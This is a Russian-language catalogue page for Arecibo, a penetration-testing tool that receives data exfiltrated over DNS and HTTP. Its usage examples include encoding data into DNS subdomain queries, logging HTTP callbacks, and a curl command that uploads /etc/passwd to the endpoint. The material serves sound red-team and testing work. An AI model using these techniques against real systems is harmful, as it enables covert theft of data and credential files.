Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Arecibo — Эндпоинт для внеполосной эксфильтрации (DNS & HTTP) | Kitploit
Инструменты/GitHubGitHub/tarlogicsecurity/arecibo
Эксфильтрация данныхСбор информацииТестирование на ПроникновениеRed TeamingАнализ DNS
GitHubtarlogicsecurity/arecibo

Arecibo

Эндпоинт для внеполосной эксфильтрации (DNS & HTTP)

Репозиторий
94217 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Arecibo

Конечная точка для внеполосной эксфильтрации (DNS и HTTP)

Авторы

Juan Manuel Fernández (@TheXC3LL) и Pablo Martinez (@Xassiz)

Эксфильтрация DNS

Создайте новый токен:

root@kitploit:~
curl localhost:5000/generatedns

{"htoken": "c008b5dd22817c50441522f917c66743"} 

Теперь вы можете использовать этот идентификационный токен для DNS-запросов (ABCD.TOKEN.x.yourdomain.com):

root@kitploit:~
> test-exfiltracion.c008b5dd22817c50441522f917c66743.x.DOMINIO
Server:         127.0.0.1
Address:        127.0.0.1#53

Name:   DOMINIO
Address: 127.0.0.1

Вы можете проверить попадания и эксфильтрированные данные через /hitsdns/TOKEN:

root@kitploit:~
curl localhost:5000/hitsdns/c008b5dd22817c50441522f917c66743

{"hits": [{"htoken": "c008b5dd22817c50441522f917c66743", "data": "test-exfiltracion", "id": 9, "timestamp": 1541748637.165287}]} 

Если вам нужны все данные в конкатенированном виде, используйте /dumpdns/token:

root@kitploit:~
curl localhost/dumpdns/c008b5dd22817c50441522f917c66743

{"dump": "test-exfiltracionconcatenatedtootherinfo"}

Эксфильтрация HTTP

Сгенерируйте токен:

root@kitploit:~
curl localhost:5000/generatehttp

{"htoken": "2aa88ba02cbc0d6b72213fc117ae03dc"}

Теперь вы можете эксфильтровать информацию через HTTP-запросы (http://yourodmain.com/h/TOKEN). Параметры GET/POST, заголовки и IP-адрес будут зарегистрированы Arecibo.

root@kitploit:~
curl localhost:50000/h/2aa88ba02cbc0d6b72213fc117ae03dc
It works!

Для получения информации используйте /hitshttp/TOKEN:

root@kitploit:~
 curl localhost:5000/hitshttp/2aa88ba02cbc0d6b72213fc117ae03dc
 
{"hits": [{"get": {}, "timestamp": 1541592259.541545, "headers": {"X-Real-Ip": "x", "Connection": "close", "Host": "x", "Accept": "*/*", "User-Agent": "curl/7.55.1"}, "htoken": "2aa88ba02cbc0d6b72213fc117ae03dc", "post": {}, "ip_address": "x"}]}

Если вам нужно показать произвольный HTML, заголовки или код статуса, используйте метод POST для задания значений (тело должно быть в кодировке base64):

root@kitploit:~
curl localhost:5000/generatehttp -H "Content-Type: application/json" --data '{"body" :"SGVsbG8gd29ybGQhIAo=", "headers":{"Server":"PWNED"}, "status" : 504}'
{
    "htoken": "324e18288eed54548392c5a65514b3dc"
}

Динамическое разрешение DNS

Arecibo разрешает домены по схеме X.Y.Z.A.ip.yourdomain.com как X.Y.Z.A:

root@kitploit:~
> 10.0.0.1.ip.yourdomain.com
Server:         127.0.0.1
Address:        127.0.0.1#53

Name:   yourdomain.com
Address: 10.0.0.1

Передача файлов

Загрузите файл с помощью конечной точки /upload:

root@kitploit:~
curl localhost:5000/upload -F 'x-file=@/etc/passwd'

{"htoken": "36981274bdb9cc833472681caeb82337"}

Чтобы скачать его, используйте сгенерированный токен:

root@kitploit:~
curl localhost:5000/download/36981274bdb9cc833472681caeb82337 

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Информация об IP

Показывает IP-адрес клиента через /ip:

root@kitploit:~
curl localhost:5000/ip
{"ip": "127.0.0.1"}

Установка и настройка

Вам необходимо установить pdns и pdns-backend-pipe из репозиториев вашего дистрибутива, а также модули flask и flask_restful для Python.

  1. Отредактируйте конфигурацию arecibo-dns-backend.py своими значениями
  2. Установите права на выполнение chmod +x arecibo-dns-backend.py
  3. Отредактируйте pdns.conf (проверьте, где он находится в вашем дистрибутиве)
root@kitploit:~
setuid=1001
setgid=1001
launch=pipe
pipe-command=/your/path/arecibo-dns-backend.py

(Измените setuid/setgid на значения, используемые для запуска скрипта API, они должны быть одинаковыми)

  1. Запустите arecibo-api.py и pdns_server (проверьте, где они находятся в вашем дистрибутиве)

ВАШ СЕРВЕР ДОЛЖЕН БЫТЬ НАСТРОЕН КАК АВТОРИТАТИВНЫЙ DNS ДЛЯ ВАШЕГО ДОМЕНА

ВАЖНО: Вы должны настроить nginx или другой обратный прокси-сервер перед Arecibo для обеспечения аутентификации и безопасности.

Скачать инструмент